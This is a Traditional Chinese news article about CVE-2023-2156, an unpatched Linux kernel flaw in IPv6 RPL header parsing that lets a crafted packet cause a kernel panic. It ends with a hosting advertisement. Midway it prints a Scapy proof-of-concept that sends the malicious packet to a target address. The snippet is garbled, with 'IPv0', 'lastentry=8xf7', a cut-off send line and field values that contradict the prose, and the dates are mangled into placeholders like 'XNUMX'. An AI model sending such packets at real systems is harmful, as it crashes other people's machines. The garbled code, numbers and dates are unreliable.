IPv6協定棧零日漏洞 Linux允許遠端導致內核崩潰

內核中一個未修復的(零日)漏洞(CVE-2023-2156)的詳細資訊已被披露。 Linux這使得攻擊者可以透過發送特製的 IPv6 封包(死亡封包)來癱瘓系統。此問題僅在啟用低功耗有損網路路由協定 (RPL) 支援時才會出現,而 RPL 在發行版中預設為停用狀態,主要用於在高丟包率無線網路上運行的嵌入式裝置。

此漏洞是由於 RPL 協定解析程式碼對外部資料處理不正確造成的,導致斷言失敗、核心進入恐慌狀態。將解析IPv6 RPL資料包頭所得到的資料放入k_buff(Socket Buffer)結構體時,如果CmprI欄位設定為15,Segleft欄位設定為1,CmprE設定為0,則48位元組帶位址向量會被解包為528位元組,出現分配給緩衝區的記憶體不足的情況。在這種情況下,用於將資料推送到結構中的 skb_push 函數會檢查資料和緩衝區大小是否不成比例,從而產生恐慌條件以防止寫入超出緩衝區邊界。

範例漏洞:# 我們將使用 Scapy 來製作封包 from scapy.all import * import socket# 使用 LAN 介面中的 IPv6 DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR# 我們使用套接字發送封包 sockfd = socket. socket.IPPROTO_RAW)# 製作資料包# Type = 6 使其成為 RPL 資料包# Addresses 包含 3 個位址,但由於 CmprI 為 3,# 前兩個位址的每個八位元組都被視為壓縮位址# Segleft = 15 觸發放大# lastentry = 1 月 並將 CxImp. IPv0(src=SRC_ADDR, dst=DST_ADDR) / IPv0ExtHdrSegmentRouting(type=15, addresses=[“a0::”, “a6::”, “a6::”], segleft=3, lastentry=8xf7) # 發送這個惡意封包 (DSTD.D.

值得注意的是,核心開發人員早在 2022 年 15 月就已收到該漏洞的通知,並在過去 2022 個月內嘗試修復該問題三次,分別於 2022 年 2023 月、XNUMX 年 XNUMX 月和 XNUMX 年 XNUMX 月發布補丁,但每次修復均不足,漏洞可重現。最終,協調修復該漏洞工作的 ZDI 專案決定公開有關該漏洞的詳細信息,而無需等待內核中出現有效的修復程序。

因此,該漏洞至今仍未修補。核心6.4-rc2自帶的補丁也無效。建議使用者驗證其係統上未使用 RPL 協議,這可以使用 sysctl -a | grep -i rpl_seg_enabled

來源: opennet.ru

為具有 DDoS 保護、VPS VDS 服務器的站點購買可靠的主機 🔥 購買具備 DDoS 防護的可靠網站寄存服務,包括 VPS 和 VDS 伺服器 | ProHoster